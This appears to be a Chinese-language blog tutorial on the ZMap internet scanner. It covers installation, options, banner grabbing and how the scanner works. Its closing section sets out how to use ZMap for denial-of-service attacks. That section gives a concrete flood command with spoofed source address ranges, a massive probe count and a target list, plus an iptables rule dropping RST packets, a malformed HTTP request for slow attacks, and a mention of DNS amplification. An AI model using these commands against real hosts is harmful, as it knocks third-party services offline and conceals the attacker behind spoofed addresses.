Zmap詳細用戶手冊及DDOS的可行性
Zmap是美國密歇根大學研究者開發出一款工具。在第22屆USENIX安全研討會，以超過nmap 1300倍的掃描速度聲名鵲起。相比大名鼎鼎的nmap全網掃描速度是他最大的亮點。在千兆網卡狀態下，45分鐘內掃描全網絡IPv4地址。
安裝
64位版本 Debian/Ubuntu 系列
Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt Step2: wget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz Step3: tar –zxvf v1.0.3.tar.gz Step4: cd zmap-1.0.3/src Step5: make && make install
32版本 （zmap 主頁只說適用于64位linux,這里用BT5r3 32位同樣安裝成功,建議還是盡量選用64版本的）
Debian/Ubuntu 系列
Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt Step2: git clone git://github.com/zmap/zmap.git Step3: tar –zxvf v1.0.2.tar.gz Step4: cd zmap-1.0.2/src Step5: make && make install
Fedora, Red Hat Enterprise Linux, or CentOS版本： 只把step1替換成
sudo yum install gmp gmp-devel libpcap-devel gengetopt
如果想使用 redis用來存儲則需要首先安裝 Hiredis，并在step5中
make REDIS=true (加入此安裝選項)
不是以root權限運行則需要配置：
setcap cap_net_raw=ep /usr/local/sbin/zmap
使用介紹：
安裝完后，可直接調用zmap
1.最簡單的調用
zmap -B 10M -p 80 -n 100000 -o results.txt
-B 是指的是帶寬
-p 端口
-n 掃描多少個目標
-o 輸出結果
整句表示利用10M帶寬掃描100000IP地址的端口，并將結果輸出到results.txt中。
BT5 R3 測試時，必須加入-G 參數
zmap -B 10M -p 80 -n 100000 -G "01:00:5e:00:00:02" -o results.txt
-G 是指定出口的mac地址，必須為網關的實際mac地址，否則返回數據找不到信息。 如果掃到IP地址開了80端口，就會按照下列格式進行保存。
115.237.116.119 23.9.117.80 207.118.204.141 217.120.143.111
2.用的最多的指令
zmap -p 443 -G "00:00:00:00:00:00"
檢測全網絡SSL/STL使用狀況，ZMAP幾個研究項目都與此有關。
可見我使用的掃描全網的所得大約9小時16分鐘，網絡為10MADSL帶寬，ADSL上行速度只有100k左右，導致時間加倍延遲。
3.常用參數
-p, --target-port=port
指定掃描的目標端口
-o, --output-file=name
把結果寫入指定文件-o result.txt
-b, --blacklist-file=path
IP地址黑名單，例如192.168.0.0/16 表示 192.168.x.x將不被掃描，默認提供一份RFC 1918保留和內網地址供參考，存放位置在conf/blacklist.conf
zmap -p 443 -G "00:00:00:00:00:00" -b conf/blacklist.conf
-n, --max-targets=n
最大掃描IP地址數量，-n 100 表示總歸掃描100個IP地址。也可指定 –n 0.1%形式，表示掃描除去黑名單列表里面全網段的0.1%數量的IP地址。
-N, --max-results=n
最大掃描到結果的IP數量，-N 100 表示掃描到100個存在的結果就停止。
-t, --max-runtime=secs
最大掃描時間，-t 10 表示程序運行10s結束。
-r, --rate=pps
設置每秒發送包的數量 –r 10000 表示每秒發送10k個包。
-B, --bandwidth=bps
設置每秒發送包的大小，-B 10M 表示每秒發送10Mbps 支持單位（GMK）。
-c, --cooldown-time=secs
設置數據包發送完之后多長時間開始接受數據（response）,默認8s，TCP連接異步接受。
-e, --seed=n
設置掃描隨機地址的順序，C語言中的偽隨機種子，指定 定值每次隨機掃描的IP地址順序是一樣。
-T, --sender-threads=n
設置掃描線程。默認是1，經測試單線程基本是把網絡帶寬充分利用。
-P, --probes=n
設置往每個IP發送包的數量，默認為1。（DDOS的參數之一）。
-d, --dryrun
打印出每個包的內容，非常實用的功能。
-s, --source-port=port|range
設置掃描的源端口，可指定范圍 –s 30000-50000。（DDOS的參數之一）。
-S, --source-ip=ip|range
設置掃描的源IP地址，可指定范圍-S 100.100.0.1-200.200.200.200（DDOS的參數之一）。
-G, --gateway-mac=addr
設置網關的mac地址，可偽造。（DDOS的參數之一）
-M, --probe-module=name
設置掃描模式，參數tcp_synscan（默認），icmp_echoscan（ping掃描），udp（測試速度要遜于前兩個），這里可自定義自己的模塊，ZMAP作者后續會增加例如自定義UDP payload 的選項。（`*udp_send_msg = “GET / HTTP/1.1 “; // Must be null-terminated`）源碼里不可直接更改 （1.0.3版本加入UDP Data Probes可進行自定義）
-O, --output-module=name
設置結果輸出模塊，參數simple_file（默認），extended_file。 Simple_file 模式如下
115.237.116.119 23.9.117.80 207.118.204.141 217.120.143.111
Extended File模式如下
response, saddr, daddr, sport, dport, seq, ack, in_cooldown, is_repeat, timestamp synack, 159.174.153.144, 10.0.0.9, 80, 40555, 3050964427, 3515084203, 0, 0,2013-08-15 18:55:47.681
掃描模塊和輸出模塊都提供了API ，可自己根據需要添加功能。
--quiet
安靜狀態下運行，不把進度信息打印到屏幕上
--summary
輸出結果匯總，對研究人員來說 非常有幫助。
三個額外的擴展應用
Banner Grab
抓取指紋，簡言之抓取response 為識別類似SSH，http 401之類的信息做準備。 這里 examples / banner-grab 目錄下 首先 make 生成banner-grab-tcp 向http-req 文件寫入要發送的數據 (也可以自定義SSH-req 之類) 如：
echo -e -n "GET / HTTP/1.1 Host: %s " > http-req （%s 保留，其他可任意構造HTTP請求，包括GET，POST）
這里擴展下 banner-grab-tcp下的參數
-c, --concurent 每次的連接數，最好低于1000，想要高于1000則必須設置ulimit -SSn 1000000` and `ulimit -SHn 1000000` 突破每個文件最大進程數1024 -p, --port 連接的端口 -t, --conn-timeout 連接超時時間 -r, --read-timeout 響應超時時間 -v, --verbosity 列取信息詳細程度 ，與sqlmap 類似 -f, --format 輸出文件格式hex，ascii，base64 -d, --data 發送的數據信息 就是前面設置http-req
源碼里 #define MAX_BANNER_LEN 1024 接收的每條返回數據，只接收1024字節，根據需要可自行更改。
與zmap 聯合使用
例子
zmap -p 80 -N 1000 -o - | ./banner-grab-tcp -p 80 -c 100 -d http-req > http-banners.out
zmap掃描1000個80端口開放的IP地址，banner-grab-tcp 來掃描這些IP地址，掃描請求內容通過http-req可自定義 .
forge-socket
與Banner Grab功能一樣，參數也類似，不再重復。 主要是安裝方式不同 要先安裝下列驅動
git clone git@github.com:ewust/forge_socket.git cd forge_socket make sudo insmod forge_socket.ko（以底層驅動方式 比Banner Grab效率高一些）
并且用iptables阻止發rst包
iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP
UDP Data Probes
1.03版本加入 詳細的測試payload見 https://github.com/zmap/zmap/tree/master/examples/udp-probes 以探測mssql的1434端口為例：
zmap -M udp -p 1434 --probe-args=file:examples/udp-probes/mssql_1434.pkt
pkt也可自行構造。 格式化配置 利用配置文件 簡化命令行輸入
interface "eth1" source-ip 1.1.1.4-1.1.1.8 gateway-mac b4:23:f9:28:fa:2d # upstream gateway cooldown-time 300 # seconds blacklist-file /etc/zmap/blacklist.conf output-file ~/zmap-output quiet summary
上述指令上面全部有介紹。 很顯然，可以通過配置文件更快速配置zmap. 使用方法：
zmap --config=~/.zmap.conf --target-port=443
原理分析
Know it 首先講下TCP三次握手。 在TCP/IP協議中，TCP協議提供可靠的連接服務，采用三次握手建立一個連接。
可見三次握手存在于發送-應答-發送機制，等待監聽的時間勢必導致發包速度很慢。 這里zmap是發送SYN，隨后發送RST（重置連接），不存在監聽同步操作，清空連接，再繼續發下一個數據包。 而對于識別 zmap把 Ip地址和端口做了類似hash表一樣的映射，當數據包返回時（可能是Syn+Ack，也可能RST），取出返回數據包里Ip和端口地址進行儲存的hash表里查詢，并對應處理記錄。 同步變異步高效的基本原因。
發散擴展
DDoS的可行性：
作者旨在關注全網的掃描，并未提及相關DDoS 的信息。 也并未特別提供指向型發包的指令。 下面討論可能與作者想法相違，希望各位重在技術鉆研，而非一些惡意破壞。
指定ip段 和ip地址
-w, --whitelist-file=path
限制只掃描文件中的下列地址或者地址段，例如：
222.222.221.82/24 （192.168.1.0-255 ） （可利用種子 –seed 調整從那個IP開始）
單個Ip地址
222.222.221.82/32 （隨機找了一個，這里1.02版本測試不能直接，需要改 blacklist.c 和constraint.c 中生成IP地址的二叉樹的root節點一小部分代碼）
然后利用
-P 10000000 （重復多次發包） -s 2000-60000 (設置一個大的端口段) -S 20.20.20.0-200.200.200.200（隨機大量Ip地址，模擬分布式的D） -G 這個偽造mac （但是收不到數據包） Zmap –p 80 -P 10000000 -s 2000-60000 -S 20.20.20.0-200.200.200.200 -w attack_url.txt
見下列發送的數據效果，達到預期
可能造成什么樣的危害? 可以配置IP Spoofing，syn flood,land attack, ICMP floods, Application floods 和其他UDP 全零等多種攻擊。 Zmap 的發包速度甚至可以忽略一下 隨后發的這個rst 包。 也可以做得完美一點就是利用iptables
iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP
把發出去的RST包給drop掉。
可以再升一下？
畢竟有部分擴展能控制到應用層也是可以進行慢攻擊。 Get 類型
echo -e -n "GET / HTTP/1.1\r\nHost: %s\r\n\r\n" > http-req 替換成 echo -e -n "GET / HTTP/1.1\r\nHost: %s\r\n\ " > http-req
Post 類型 可以把源碼sizeof(value) 的值設置一個大的動態數值。 Post數據設置很小。
DDoS 流量 +連接數 +畸形包
流量基本只能硬防，拼硬件。
zmap幾乎是最大限度利用網絡帶寬，10臺G口服務器不會損耗多少，如果再利用DNS放大流量之類，很恐怖的數字。
Ps ： Zmap 某些方面和python 的scapy很像。 但zmap 純C實現，比scapy效率要高一些。 以前老是糾結scapy 隨后發送RST 問題，這里利用iptables 方式確實是個好方法。 參考其中的源碼和相對規范的API接口，編寫一些模塊可以玩出很多花樣。
